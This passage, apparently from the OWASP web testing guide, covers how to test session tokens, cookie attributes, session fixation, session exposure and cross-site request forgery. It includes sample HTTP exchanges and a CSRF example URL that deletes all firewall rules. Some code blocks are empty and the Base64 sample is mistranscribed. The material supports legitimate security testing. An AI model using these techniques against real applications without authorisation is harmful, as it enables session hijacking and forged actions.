- Token Structure & Information Leakage The first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.

If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:

```
192.168.100.1:owaspuser:password:15:58
```

If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string `"192.168.100.1:owaspuser:password:15:58"` is represented in Hex, Base64 and as an MD5 hash:

```
Hex      3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
Base64   MTKyLjE20C4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg
MD5      01c2fc4f0a817afd8366689bd29dd40a
```

Having identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.

Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:

```
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412
```

Having analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.

If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.

The following areas should be addressed during the single and multiple Session ID structure testing:

- What parts of the Session ID are static?
- What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses
- What easily decoded confidential information is stored?
- What information can be deduced from the structure of the Session ID?
- What portions of the Session ID are static for the same log in conditions?
- What obvious patterns are present in the Session ID as a whole, or individual portions?

Session ID Predictability and Randomness

Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.

Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.

Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.

In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.

- Are the Session IDs provably random in nature? Can the resulting values be reproduced?
- Do the same input conditions produce the same ID on a subsequent run?
- Are the Session IDs provably resistant to statistical or cryptanalysis?
- What elements of the Session IDs are time-linked?
- What portions of the Session IDs are predictable?
- Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?

Cookie reverse engineering

Now that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of

session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks.

These characteristics are summarized below:

1. **Unpredictability:** a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.
2. **Tamper resistance:** a cookie must resist malicious attempts of modification. If the tester receives a cookie like `IsAdmin=No`, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)
3. **Expiration:** a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).
4. **"Secure" flag:** a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.

The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of "sufficient" can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).

It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.

Another aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a time stamp as part of the cookie value). The time recorded could be the local time or the server's time stamp included in the HTTP response (or both).

When analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.

Examples of checks to be performed at this stage include:

- What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?
- Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step.

An example of an easy-to-spot structured cookie is the following:


```
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q
```

This example shows 5 different fields, carrying different types of data:

```
ID - hexadecimal
CR - small integer
TM and LM - large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)
```



Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:



Brute Force Attacks

Brute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.

A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.

- How long would a brute-force attack on all possible Session IDs take?
- Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?
- Do delays between connection attempts with different Session IDs mitigate the risk of this attack?

Gray Box testing and example

If the tester has access to the session management schema implementation, they can check for the following:

- Random Session Token
 - The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).
- Token length
 - Session ID will be at least 50 characters length.
- Session Time-out
 - Session token should have a defined time-out (it depends on the criticality of the application managed data)
- Cookie configuration:
 - non-persistent: only RAM memory
 - secure (set only on HTTPS channel): `Set Cookie: cookie=data; path=/; domain=.aaa.it; secure`
 - **HTTPOnly** (not readable by a script): `Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly`

More information here: [Testing for cookies attributes](#)

Tools

- OWASP Zed Attack Proxy Project (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project - features a session token analysis mechanism.
- Burp Sequencer - <http://www.portswigger.net/suite/sequencer.html>
- Foundstone CookieDigger - <http://www.mcafee.com/us/downloads/free-tools/cookieDigger.aspx>
- YEHG's JHijack - <https://www.owasp.org/index.php/JHijack>

References

Whitepapers

- RFC 2965 "HTTP State Management Mechanism"

- RFC 1750 "Randomness Recommendations for Security"
- Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis" (2001): <http://lcamtuf.coredump.cx/oldtcp/tcpseq.html>
- Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later" (2002): <http://lcamtuf.coredump.cx/newtcp/>
- Correlation Coefficient: <http://mathworld.wolfram.com/CorrelationCoefficient.html>
- Darrin Barrall: "Automated Cookie Analysis" – <http://www.spidynamics.com/assets/documents/SPIcookies.pdf>
- ENT: <http://fourmilab.ch/random/>
- <http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html>
- Gunter Ollmann: "Web Based Session Management" - <http://www.technicalinfo.net>
- Matteo Meucci: "MMS Spoofing" - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt

Videos

- Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/

Related Security Activities

Description of Session Management Vulnerabilities

See the OWASP articles on [Session Management Vulnerabilities](#).

Description of Session Management Countermeasures

See the OWASP articles on [Session Management Countermeasures](#).

How to Avoid Session Management Vulnerabilities

See the [OWASP Development Guide](#) article on how to [Avoid Session Management](#) Vulnerabilities.

How to Review Code for Session Management| Vulnerabilities

See the [OWASP Code Review Guide](#) article on how to [Review Code for Session Management](#) Vulnerabilities.

Testing for Cookies attributes (OTG-SESS-002)

Summary

Cookies are often a key attack vector for malicious users (typically targeting other users) and the application should always take due diligence to protect cookies. This section looks at how an application can take the necessary precautions when assigning cookies, and how to test that these attributes have been correctly configured.

The importance of secure use of Cookies cannot be understated, especially within dynamic web applications, which need to maintain state across a stateless protocol such as HTTP. To understand the importance of cookies it is imperative to understand what they are primarily used for. These primary functions usually consist of being used as a session authorization and authentication token or as a temporary data container. Thus, if an attacker were able to acquire a session token (for example, by exploiting a cross site scripting vulnerability or by sniffing an unencrypted session), then they could use this cookie to hijack a valid session.

Additionally, cookies are set to maintain state across multiple requests. Since HTTP is stateless, the server cannot determine if a request it receives is part of a current session or the start of a new session without some type of identifier. This identifier is very commonly a cookie although other methods are also possible. There are many different types of applications that need to keep track of session state across multiple requests. The primary one that comes to mind would be an online store. As a user adds multiple items to a shopping cart, this data needs to be retained in subsequent requests to the application. Cookies are very commonly used for this task and are set by the application using the Set-Cookie directive in the application's HTTP response, and is usually in a name=value format (if cookies are enabled and if they are supported, as is the case for all modern web browsers). Once an application has told the browser to use a particular cookie, the browser will send this cookie in each subsequent request. A cookie can contain data such as items from an online shopping cart, the price of these items, the quantity of these items, personal information, user IDs, etc.

Due to the sensitive nature of information in cookies, they are typically encoded or encrypted in an attempt to protect the information they contain. Often, multiple cookies will be set (separated by a semicolon) upon subsequent requests. For example, in the case of an online store, a new cookie could be set as the user adds multiple items to the shopping cart. Additionally, there will typically be a cookie for authentication (session token as indicated above) once the user logs in, and multiple other cookies used to identify the items the user wishes to purchase and their auxiliary information (i.e., price and quantity) in the online store type of application.

Once the tester has an understanding of how cookies are set, when they are set, what they are used for, why they are used, and their importance, they should take a look at what attributes can be set for a cookie and how to test if they are secure. The following is a list of the attributes that can be set for each cookie and what they mean. The next section will focus on how to test for each attribute.

- **secure** - This attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as HTTPS. This will help protect the cookie from being passed over unencrypted requests. If the application can be accessed over both HTTP and HTTPS, then there is the potential that the cookie can be sent in clear text.
- **HttpOnly** - This attribute is used to help prevent attacks such as cross-site scripting, since it does not allow the cookie to be accessed via a client side script such as JavaScript. Note that not all browsers support this functionality.
- **domain** - This attribute is used to compare against the domain of the server in which the URL is being requested. If the domain matches or if it is a sub-domain, then the path attribute will be checked next.

Note that only hosts within the specified domain can set a cookie for that domain. Also the domain attribute cannot be a top level domain (such as .gov or .com) to prevent servers from setting arbitrary cookies for another domain. If the domain attribute is not set, then the host name of the server that generated the cookie is used as the default value of the domain.

For example, if a cookie is set by an application at app.mydomain.com with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for app.mydomain.com and its sub-domains (such as hacker.app.mydomain.com), but not to otherapp.mydomain.com. If a developer wanted to loosen this restriction, then he could set the domain attribute to mydomain.com. In this case the cookie would be sent to all requests for app.mydomain.com and its sub domains, such as hacker.app.mydomain.com, and even bank.mydomain.com. If there was a vulnerable server on a sub domain (for example, otherapp.mydomain.com) and the domain attribute has been set too loosely (for example, mydomain.com), then the vulnerable server could be used to harvest cookies (such as session tokens).

- path - In addition to the domain, the URL path that the cookie is valid for can be specified. If the domain and path match, then the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave the application vulnerable to attacks by other applications on the same server. For example, if the path attribute was set to the web server root "/", then the application cookies will be sent to every application within the same domain.
- expires - This attribute is used to set persistent cookies, since the cookie does not expire until the set date is exceeded. This persistent cookie will be used by this browser session and subsequent sessions until the cookie expires. Once the expiration date has exceeded, the browser will delete the cookie. Alternatively, if this attribute is not set, then the cookie is only valid in the current browser session and the cookie will be deleted when the session ends.

How to Test

Black Box Testing

Testing for cookie attribute vulnerabilities:

By using an intercepting proxy or traffic intercepting browser plug-in, trap all responses where a cookie is set by the application (using the Set-cookie directive) and inspect the cookie for the following:

- Secure Attribute - Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted tunnel. For example, after logging into an application and a session token is set using a cookie, then verify it is tagged using the ";secure" flag. If it is not, then the browser would agree to pass it via an unencrypted channel such as using HTTP, and this could lead to an attacker leading users into submitting their cookie over an insecure channel.
- HttpOnly Attribute - This attribute should always be set even though not every browser supports it. This attribute aids in securing the cookie from being accessed by a client side script, it does not eliminate cross site scripting risks but does eliminate some exploitation vectors. Check to see if the ";HttpOnly" tag has been set.
- Domain Attribute - Verify that the domain has not been set too loosely. As noted above, it should only be set for the server that needs to receive the cookie. For example if the application resides on server app.mysite.com, then it should be set to "; domain=app.mysite.com" and NOT "; domain=.mysite.com" as this would allow other potentially vulnerable servers to receive the cookie.
- Path Attribute - Verify that the path attribute, just as the Domain attribute, has not been set too loosely. Even if the Domain attribute has been configured as tight as possible, if the path is set to the root directory "/" then it can be vulnerable to less secure applications on the same server. For example, if the application resides at /myapp/, then verify that the cookies path is set to "; path=/myapp/" and NOT "; path=/" or "; path=/myapp". Notice here that the trailing "/" must be used after myapp. If it is not used, the browser will send the cookie to any path that matches "myapp" such as "myapp-exploited".
- Expires Attribute - If this attribute is set to a time in the future verify that the cookie does not contain any sensitive information. For example, if a cookie is set to "; expires=Sun, 31-Jul-2016 13:45:29 GMT" and it is currently July 31st 2014, then the tester should inspect the cookie. If the cookie is a session token that is stored on the user's hard drive

then an attacker or local user (such as an admin) who has access to this cookie can access the application by resubmitting this token until the expiration date passes.

Tools

Intercepting Proxy:

- [OWASP Zed Attack Proxy Project](#)

Browser Plug-in:

- "TamperIE" for Internet Explorer - <http://www.bayden.com/TamperIE/>
- Adam Judson: "Tamper Data" for Firefox - <https://addons.mozilla.org/en-US/firefox/addon/966>

References

Whitepapers

- RFC 2965 - HTTP State Management Mechanism - <http://tools.ietf.org/html/rfc2965>
- RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 - <http://tools.ietf.org/html/rfc2616>
- The important "expires" attribute of Set-Cookie <http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html>
- HttpOnly Session ID in URL and Page Body <http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html>

Testing for Session Fixation (OTG-SESS-003)

Brief Summary

When an application does not renew its session cookie(s) after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

- A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
- An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user's account through the active session.

Furthermore, the issue described above is problematic for sites that issue a session identifier over HTTP and then redirect the user to a HTTPS log in form. If the session identifier is not reissued upon authentication, the attacker can eavesdrop and steal the identifier and then use it to hijack the session.

How to Test

Black Box Testing

Testing for Session Fixation vulnerabilities:

The first step is to make a request to the site to be tested (example www.example.com). If the tester requests the following:

```
GET www.example.com
```

They will obtain the following answer:

```
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=Cp1254
Content-Language: en-US
```

The application sets a new session identifier `JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1` for the client.

Next, if the tester successfully authenticates to the application with the following POST HTTPS:

```
POST https://www.example.com/authentication.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
```

```

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Content-Type: application/x-www-form-urlencoded
Content-length: 57

Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in

```

The tester observes the following response from the server:

```

HTTP/1.1 200 OK
Date: Thu, 14 Aug 2008 14:52:58 GMT
Server: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Content-language: en
Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip
Content-length: 4090
Connection: close
Content-Type: text/html; charset=UTF-8
...
HTML data
...

```

As no new cookie has been issued upon a successful authentication the tester knows that it is possible to perform session hijacking.

Result Expected: The tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.

Gray Box Testing

Talk with developers and understand if they have implemented a session token renew after a user successful authentication.

Result Expected: The application should always first invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another sessionID.

Tools

- JHijack - a numeric session hijacking tool - <http://yehg.net/lab/pr0js/files.php/jhijackv0.2beta.zip>
- OWASP WebScarab: [OWASP_WebScarab_Project](#)

References

Whitepapers

- [Session Fixation](#)
- ACROS Security: http://www.acrosssecurity.com/papers/session_fixation.pdf
- Chris Shiflett: <http://shiflett.org/articles/session-fixation>

Testing for Exposed Session Variables (OTG-SESS-004)

Summary

The Session Tokens (Cookie, SessionID, Hidden Field), if exposed, will usually enable an attacker to impersonate a victim and access the application illegitimately. It is important that they are protected from eavesdropping at all times, particularly whilst in transit between the client browser and the application servers.

The information here relates to how transport security applies to the transfer of sensitive Session ID data rather than data in general, and may be stricter than the caching and transport policies applied to the data served by the site.

Using a personal proxy, it is possible to ascertain the following about each request and response:

- Protocol used (e.g., HTTP vs. HTTPS)
- HTTP Headers
- Message Body (e.g., POST or page content)

Each time Session ID data is passed between the client and the server, the protocol, cache, and privacy directives and body should be examined. Transport security here refers to Session IDs passed in GET or POST requests, message bodies, or other means over valid HTTP requests.

How to Test

Testing for Encryption & Reuse of Session Tokens vulnerabilities:

Protection from eavesdropping is often provided by SSL encryption, but may incorporate other tunneling or encryption. It should be noted that encryption or cryptographic hashing of the Session ID should be considered separately from transport encryption, as it is the Session ID itself being protected, not the data that may be represented by it.

If the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate that risk. It should therefore be ensured that encryption is both the default and enforced for any request or response where the Session ID is passed, regardless of the mechanism used (e.g., a hidden form field). Simple checks such as replacing https:// with http:// during interaction with the application should be performed, together with modification of form posts to determine if adequate segregation between the secure and non-secure sites is implemented.

Note that if there is also an element to the site where the user is tracked with Session IDs but security is not present (e.g., noting which public documents a registered user downloads) it is essential that a different Session ID is used. The Session ID should therefore be monitored as the client switches from the secure to non-secure elements to ensure a different one is used.

Result Expected:

Every time the authentication is successful, the user should expect to receive:

- A different session token
- A token sent via encrypted channel every time they make an HTTP Request

Testing for Proxies & Caching vulnerabilities:

Proxies must also be considered when reviewing application security. In many cases, clients will access the application through corporate, ISP, or other proxies or protocol aware gateways (e.g., Firewalls). The HTTP protocol provides directives to control the behavior of downstream proxies, and the correct implementation of these directives should also be assessed.

In general, the Session ID should never be sent over unencrypted transport and should never be cached. The application should be examined to ensure that encrypted communications are both the default and enforced for any transfer of Session

IDs. Furthermore, whenever the Session ID is passed, directives should be in place to prevent its caching by intermediate and even local caches.

The application should also be configured to secure data in caches over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appropriate controls with reference to HTTP. HTTP/1.1 provides a number of cache control mechanisms. Cache-Control: no-cache indicates that a proxy must not re-use any data. Whilst Cache-Control: Private appears to be a suitable directive, this still allows a non-shared proxy to cache data. In the case of web-cafes or other shared systems, this presents a clear risk. Even with single-user workstations the cached Session ID may be exposed through a compromise of the file-system or where network stores are used. HTTP/1.0 caches do not recognise the Cache-Control: no-cache directive.

Result Expected:

The “Expires: 0” and Cache-Control: max-age=0 directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to ensure appropriate cache directives are in use.

Testing for GET & POST vulnerabilities:

In general, GET requests should not be used, as the Session ID may be exposed in Proxy or Firewall logs. They are also far more easily manipulated than other types of transport, although it should be noted that almost any mechanism can be manipulated by the client with the right tools. Furthermore, [Cross-site Scripting \(XSS\)](#) attacks are most easily exploited by sending a specially constructed link to the victim. This is far less likely if data is sent from the client as POSTs.

Result Expected:

All server side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET. For example, consider the following POST request generated by a log in page.

```
POST http://owaspapp.com/login.asp HTTP/1.1
Host: owaspapp.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b
Accept: */*
Accept-Language: en-us, en
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Cookie: ASPSESSIONIDABCDEFGH=ASKLJDLKJRELKHJG
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

Login=Username&password=Password&SessionID=12345678
```

If login.asp is badly implemented, it may be possible to log in using the following URL: <http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678>

Potentially insecure server-side scripts may be identified by checking each POST in this way.

Testing for Transport vulnerabilities:

All interaction between the Client and Application should be tested at least against the following criteria.

- How are Session IDs transferred? e.g., GET, POST, Form Field (including hidden fields)
- Are Session IDs always sent over encrypted transport by default?
- Is it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS?
- What cache-control directives are applied to requests/responses passing Session IDs?
- Are these directives always present? If not, where are the exceptions?
- Are GET requests incorporating the Session ID used?
- If POST is used, can it be interchanged with GET?

References

Whitepapers

- RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli] - <http://www.ietf.org/rfc/rfc2965.txt>, <http://www.ietf.org/rfc/rfc2109.txt>
- RFC 2616 – Hypertext Transfer Protocol -- HTTP/1.1 - <http://www.ietf.org/rfc/rfc2616.txt>

Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)

Summary

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.

CSRF relies on the following:

1. Web browser behavior regarding the handling of session-related information such as cookies and http authentication information;
2. Knowledge by the attacker of valid web application URLs;
3. Application session management relying only on information which is known by the browser;
4. Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag *img*.

Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 is accessory and facilitates the actual exploitation, but is not strictly required.

- Point 1) Browsers automatically send information which is used to identify a user session. Suppose *site* is a site hosting a web application, and the user *victim* has just authenticated himself to *site*. In response, *site* sends *victim* a cookie which identifies requests sent by *victim* as belonging to *victim's* authenticated session. Basically, once the browser receives the cookie set by *site*, it will automatically send it along with any further requests directed to *site*.
- Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters, and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).
- Point 3) "Known by the browser" refers to information such as cookies, or http-based authentication information (such as Basic Authentication; and not form-based authentication), which are stored by the browser and subsequently resent at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.

Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If *victim* has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).



The GET request could be originated in several different ways:

- by the user, who is using the actual web application;
- by the user, who types the URL directly in the browser;
- by the user, who follows a link (external to the application) pointing to the URL.

These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e., the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on *site*, the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application and probably not what the user expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications.

By using a tag such as *img*, as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:

```
<html><body>
...

...
</body></html>
```

What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results in a request being automatically sent to the web application hosted on *site*. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the *src* field anyway. This happens provided that image download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.

The problem here is a consequence of the following facts:

- there are HTML tags whose appearance in a page result in automatic http request execution (*img* being one of those);
- the browser has no way to tell that the resource referenced by *img* is not actually an image and is in fact not legitimate;
- image loading happens regardless of the location of the alleged image, i.e., the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.

It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a valid request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.

The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.

Things may be obfuscated further, by referencing seemingly valid image URLs such as

```

```

where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on

```
http://[attacker]/picture.gif to http://[thirdparty]/action.
```

Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).

Sample scenario.

Let's suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself and session information is stored in a cookie.

Let's suppose the firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters "*" (quite a dangerous feature, but it will make the example more interesting). The delete page is shown next. Let's suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form


```
https://[target]/fwmgmt/delete?rule=1
```

(to delete rule number one)

```
https://[target]/fwmgmt/delete?rule=*
```

(to delete all rules).

The example is purposely quite naive, but shows in a simple way the dangers of CSRF.



Therefore, if we enter the value "*" and press the Delete button, the following GET request is submitted.

```
https://www.company.example/fwmgmt/delete?rule=*
```

with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).



Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL

```
https://[target]/fwmgmt/delete?rule=*
```

or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded *img* tag pointing to the same URL.

In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.

An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a CSRF attack targeting an application monitoring a nuclear power plant. Sounds far fetched? Probably, but it is a possibility.

Self-vulnerable applications, i.e., applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a CSRF attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.

How to Test

Black Box Testing

For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they can assume both roles – the attacker and the victim. In this case, testers know the URLs to be tested just by browsing around the application.

Otherwise, if testers don't have valid credentials available, they have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.

Either way, a test case can be constructed as follows:

- let u the URL being tested; for example, $u = \text{http://www.example.com/action}$
- build an html page containing the http request referencing URL u (specifying all relevant parameters; in the case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);
- make sure that the valid user is logged on the application;
- induce him into following the link pointing to the URL to be tested (social engineering involved if you cannot impersonate the user yourself);
- observe the result, i.e. check if the web server executed the request.

Gray Box Testing

Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. "Client side values" mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term *secret* to refer to this piece of information).

